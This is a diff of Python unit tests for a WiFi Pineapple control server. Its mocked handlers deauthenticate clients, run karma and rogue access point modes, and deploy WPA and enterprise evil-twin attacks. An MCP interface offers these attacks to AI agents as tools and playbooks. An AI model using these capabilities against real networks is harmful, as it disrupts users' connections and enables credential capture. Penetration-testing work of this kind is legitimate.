def test_resources_list_includes_skills(self):
|
||||
status, body = server._mcp_dispatch(self.msg('resources/list'))
|
||||
uris = [r['uri'] for r in body['result']['resources']]
|
||||
self.assertIn('skills://pineapple-control', uris)
|
||||
self.assertIn('device://state', uris)
|
||||
|
||||
def test_prompts_list_includes_playbooks(self):
|
||||
status, body = server._mcp_dispatch(self.msg('prompts/list'))
|
||||
names = [p['name'] for p in body['result']['prompts']]
|
||||
self.assertIn('evil-wpa-attack', names)
|
||||
self.assertIn('evil-enterprise-attack', names)
|
||||
|
||||
def test_bad_jsonrpc_rejected(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
|
||||
self.assertEqual(body['error']['code'], -32600)
|
||||
|
||||
def test_endpoint_auth_accepts_bearer_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_endpoint_auth_rejects_bad_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
|
||||
self.assertEqual(status, 401)
|
||||
|
||||
def test_deploy_tool_wraps_attack_handler(self):
|
||||
server._uci_wifi_iface = lambda name: {}
|
||||
server._uci_section = lambda name: {}
|
||||
server._verify_iface = lambda name, timeout=20: True
|
||||
server._allow_all_ssids = lambda: True
|
||||
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
|
||||
'iface': 'wlan1ent', 'band': '5'}
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {
|
||||
'name': 'attack.deploy',
|
||||
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
|
||||
self.assertEqual(status, 200)
|
||||
text = body['result']['content'][0]['text']
|
||||
self.assertIn('"verified": true', text)
|
||||
|
||||
def test_capabilities_endpoint(self):
|
||||
status, body = server.h_harness_capabilities(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['endpoint'], '/mcp')
|
||||
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
|
||||
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -111,22 +111,26 @@ class GetApRadio1Test(unittest.TestCase):
|
||||
def test_open_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['open']['ssid'], 'CorpGuest')
|
||||
self.assertEqual(payload['open']['channel'], 36)
|
||||
self.assertEqual(payload['open']['country'], 'US')
|
||||
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
|
||||
self.assertEqual(payload['radio1_open']['channel'], 36)
|
||||
self.assertEqual(payload['radio1_open']['country'], 'US')
|
||||
# radio0 cards keep reporting radio0 truth
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
|
||||
def test_wpa_reports_radio1_when_present(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Corp')
|
||||
self.assertEqual(payload['wpa']['enctype'], 'sae')
|
||||
self.assertEqual(payload['wpa']['channel'], 1)
|
||||
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
|
||||
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
|
||||
self.assertEqual(payload['radio1_wpa']['channel'], 1)
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Service')
|
||||
|
||||
def test_radio1_info(self):
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['radio1']['band'], server.BAND_5G)
|
||||
self.assertEqual(payload['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
|
||||
|
||||
|
||||
class GetApRadio1AbsentTest(unittest.TestCase):
|
||||
|
||||
@@ -9,8 +9,10 @@ import server
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
_orig_hak5 = server.hak5
|
||||
_orig_device_run = server.device_run
|
||||
_orig_assoc_clients = server.assoc_clients
|
||||
_orig_iface_ap_info = server._iface_ap_info
|
||||
_orig_pineap = server._pineap
|
||||
|
||||
|
||||
class NormalizeTest(unittest.TestCase):
|
||||
@@ -24,8 +26,10 @@ class NormalizeTest(unittest.TestCase):
|
||||
|
||||
class ClientsTest(unittest.TestCase):
|
||||
def tearDown(self):
|
||||
server.hak5 = _orig_hak5
|
||||
server.device_run = _orig_device_run
|
||||
server.assoc_clients = _orig_assoc_clients
|
||||
server._iface_ap_info = _orig_iface_ap_info
|
||||
server._pineap = _orig_pineap
|
||||
|
||||
def test_clients_handler(self):
|
||||
server.assoc_clients = lambda: [{'mac': 'AA:BB:CC:DD:EE:FF', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
@@ -35,15 +39,37 @@ class ClientsTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['count'], 1)
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
def _kick_env(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan0open', 'rssi': -55}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 6)
|
||||
server._pineap = lambda *a, **k: (0, '', '')
|
||||
return calls
|
||||
|
||||
def test_kick_validates_and_deny_adds(self):
|
||||
calls = self._kick_env()
|
||||
server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertIn(('PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'), calls)
|
||||
self.assertTrue(any(c[0] == 'PINEAPPLE_DEAUTH_CLIENT' for c in calls))
|
||||
self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls)
|
||||
# The immediate deauth must use the full bssid/target/channel form.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '6' for c in calls))
|
||||
|
||||
def test_kick_not_associated_still_filters(self):
|
||||
calls = []
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIs(payload['deauth'], False)
|
||||
self.assertTrue(any(c == [server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny',
|
||||
'00:11:22:33:44:55'] for c in calls))
|
||||
|
||||
def test_kick_bad_mac_400(self):
|
||||
status, payload = server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': 'x'}})())
|
||||
@@ -51,12 +77,22 @@ class ClientsTest(unittest.TestCase):
|
||||
|
||||
def test_deauth_client(self):
|
||||
calls = []
|
||||
def fake(*args):
|
||||
calls.append(args)
|
||||
return 'ok'
|
||||
server.hak5 = fake
|
||||
server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(calls[0][0], 'PINEAPPLE_DEAUTH_CLIENT')
|
||||
def fake_run(argv, timeout=30):
|
||||
calls.append(argv)
|
||||
return 0, '', ''
|
||||
server.device_run = fake_run
|
||||
server.assoc_clients = lambda: [{'mac': '00:11:22:33:44:55', 'iface': 'wlan1wpa', 'rssi': -60}]
|
||||
server._iface_ap_info = lambda iface: ('AA:BB:CC:DD:EE:FF', 149)
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 200)
|
||||
# 5 GHz client -> wlan1mon inject, no _pineap pin needed.
|
||||
self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'00:11:22:33:44:55'] and c[4] == '149' for c in calls))
|
||||
|
||||
def test_deauth_client_not_associated_502(self):
|
||||
server.assoc_clients = lambda: []
|
||||
status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})())
|
||||
self.assertEqual(status, 502)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual([c[1] for c in calls], [
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect',
|
||||
'ssidpool/disable'])
|
||||
'hostapd/enable_pineap', 'ssidpool/enable_collect'])
|
||||
self.assertEqual(calls[0][2], {'enable': False})
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertTrue(payload['collect'])
|
||||
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertFalse(payload['karma'])
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_active_enables_response_engine_and_pool_broadcasting(self):
|
||||
def test_active_enables_response_engine_but_never_pool_broadcast(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
|
||||
self.assertNotIn('mimic/disable', [c[1] for c in calls])
|
||||
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True}))
|
||||
# The SSID-pool broadcast segfaults pineapd on this firmware: the
|
||||
# active preset must never call ssidpool/enable.
|
||||
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
|
||||
self.assertEqual(payload['mode'], 'active')
|
||||
self.assertTrue(payload['advertise'])
|
||||
self.assertFalse(payload['advertise'])
|
||||
self.assertTrue(payload['karma'])
|
||||
self.assertTrue(payload['enabled'])
|
||||
|
||||
def test_advertise_refuses_when_pool_disabled(self):
|
||||
server._uci_section = lambda name: {'disable': '1'}
|
||||
calls = []
|
||||
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
|
||||
calls.append((method, path, body)) or (200, {'success': True}))
|
||||
status, payload = server.h_pineap_advertise(ctx({'enable': True}))
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('cannot be re-enabled', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_advanced_preserves_device_settings(self):
|
||||
calls = []
|
||||
server._daemon_proxy = lambda *args, **kwargs: (calls.append(args) or (200, {}))
|
||||
@@ -109,7 +120,8 @@ class PineapModeTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake
|
||||
status, payload = server.h_pineap_mode_get(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['mode'], 'advanced')
|
||||
# Device truth wins: engine off means the device IS passive now.
|
||||
self.assertEqual(payload['mode'], 'passive')
|
||||
self.assertFalse(payload['enabled'])
|
||||
|
||||
def test_manual_mimic_change_marks_advanced(self):
|
||||
|
||||
@@ -112,7 +112,7 @@ class PineapProxyTest(unittest.TestCase):
|
||||
if sec == 'wireless.wlan0open':
|
||||
return 0, "wireless.wlan0open.disabled='1'\nwireless.wlan0open.ssid='pager-open'\nwireless.wlan0open.macaddr='DE:AD:BE:EF:00:01'\nwireless.wlan0open.hidden='1'\n", ''
|
||||
if sec == 'wireless.radio0':
|
||||
return 0, "wireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
return 0, "wireless.radio0.band='2g'\nwireless.radio0.channel='6'\nwireless.radio0.country='US'\n", ''
|
||||
if sec.startswith('pineapd.@ssidpool'):
|
||||
return 0, "pineapd.@ssidpool[0].bssid='auto'\npineapd.@ssidpool[0].target='broadcast'\n", ''
|
||||
return 0, '', ''
|
||||
@@ -128,8 +128,12 @@ class PineapProxyTest(unittest.TestCase):
|
||||
server.daemon_sock_call = fake_sock
|
||||
status, payload = server.h_pineap_wifi_get_ap(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['wpa'], {'ssid': 'Evil1', 'passphrase': 'sekret', 'enctype': 'psk2',
|
||||
'hidden': False, 'enabled': True, 'channel': 6})
|
||||
self.assertEqual(payload['wpa']['ssid'], 'Evil1')
|
||||
self.assertEqual(payload['wpa']['passphrase'], 'sekret')
|
||||
self.assertEqual(payload['wpa']['enctype'], 'psk2')
|
||||
self.assertEqual(payload['wpa']['hidden'], False)
|
||||
self.assertEqual(payload['wpa']['enabled'], True)
|
||||
self.assertEqual(payload['wpa']['channel'], 6)
|
||||
self.assertEqual(payload['open']['enabled'], False)
|
||||
self.assertEqual(payload['open']['ssid'], 'pager-open')
|
||||
self.assertEqual(payload['open']['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
@@ -137,8 +141,12 @@ class PineapProxyTest(unittest.TestCase):
|
||||
self.assertEqual(payload['open']['channel'], 6)
|
||||
self.assertEqual(payload['open']['country'], 'US')
|
||||
self.assertEqual(payload['open']['target'], 'broadcast')
|
||||
self.assertEqual(payload['enterprise']['enabled'], True)
|
||||
self.assertEqual(payload['enterprise']['enabled'], False)
|
||||
self.assertEqual(payload['enterprise']['ssid'], '')
|
||||
self.assertEqual(payload['pool']['collecting'], True)
|
||||
self.assertEqual(payload['radios']['radio0']['band'], '2.4')
|
||||
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
|
||||
self.assertEqual(payload['pineape']['enabled'], True)
|
||||
|
||||
def test_wifi_set_ap_open_bssid_channel_and_country(self):
|
||||
sock_calls = []
|
||||
|
||||
+17
-4
@@ -76,8 +76,13 @@ class DecodersTest(unittest.TestCase):
|
||||
self.assertEqual(server.decode_encryption(0x04), 'WPA')
|
||||
self.assertEqual(server.decode_encryption(0x08), 'WPA2')
|
||||
self.assertEqual(server.decode_encryption(0x04 | 0x08), 'WPA2 WPA')
|
||||
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2')
|
||||
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA')
|
||||
self.assertEqual(server.decode_encryption(0x400400108), 'WPA3 WPA2 PSK')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33)), 'WPA3 WPA2 Enterprise')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 40)), 'WPA3 WPA2 SAE')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 33) | (1 << 40)), 'WPA3 WPA2 Enterprise')
|
||||
self.assertEqual(server.decode_encryption(0x400400108 | (1 << 45)), 'WPA3 WPA2 OWE')
|
||||
self.assertEqual(server.decode_encryption(0x400400110), 'WPA3 PSK')
|
||||
self.assertEqual(server.decode_encryption(0x20050004C), 'WPA2 WPA Enterprise')
|
||||
|
||||
|
||||
class ReconDataTest(unittest.TestCase):
|
||||
@@ -111,7 +116,7 @@ class ReconDataTest(unittest.TestCase):
|
||||
self.assertEqual(a['ssid'], 'Anderson-5')
|
||||
self.assertEqual(a['channel'], 149)
|
||||
self.assertEqual(a['signal'], -76)
|
||||
self.assertEqual(a['encryption'], 'WPA3 WPA2')
|
||||
self.assertEqual(a['encryption'], 'WPA3 WPA2 PSK')
|
||||
self.assertFalse(a['hidden'])
|
||||
hidden = aps['50:6F:9A:01:00:00']
|
||||
self.assertTrue(hidden['hidden'])
|
||||
@@ -390,6 +395,15 @@ class ReconExtrasTest(unittest.TestCase):
|
||||
status, data = server.h_recon_delete(type('C', (), {'args': ('999',)})())
|
||||
self.assertEqual(status, 404)
|
||||
|
||||
def test_delete_all_clears_every_scan(self):
|
||||
status, data = server.h_recon_delete_all(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(data['deleted'], 2)
|
||||
for table in ('scan', 'ssid', 'wifi_device', 'handshake',
|
||||
'hostap_basic', 'hostap_chalresp'):
|
||||
rows = server._db_rows(self.db, 'SELECT count(*) AS c FROM %s' % table)
|
||||
self.assertEqual(rows[0]['c'], 0, table)
|
||||
|
||||
def test_events_lists_db_rows(self):
|
||||
status, data = server.h_recon_events(type('C', (), {'args': ()})())
|
||||
self.assertEqual(status, 200)
|
||||
@@ -1193,4 +1207,3 @@ class ReconRoutesTest(unittest.TestCase):
|
||||
method = 'GET' if path.endswith(('status', 'scans', 'events')) else 'POST'
|
||||
h, args = server.ROUTER.dispatch(method, path)
|
||||
self.assertIsNotNone(h, path)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user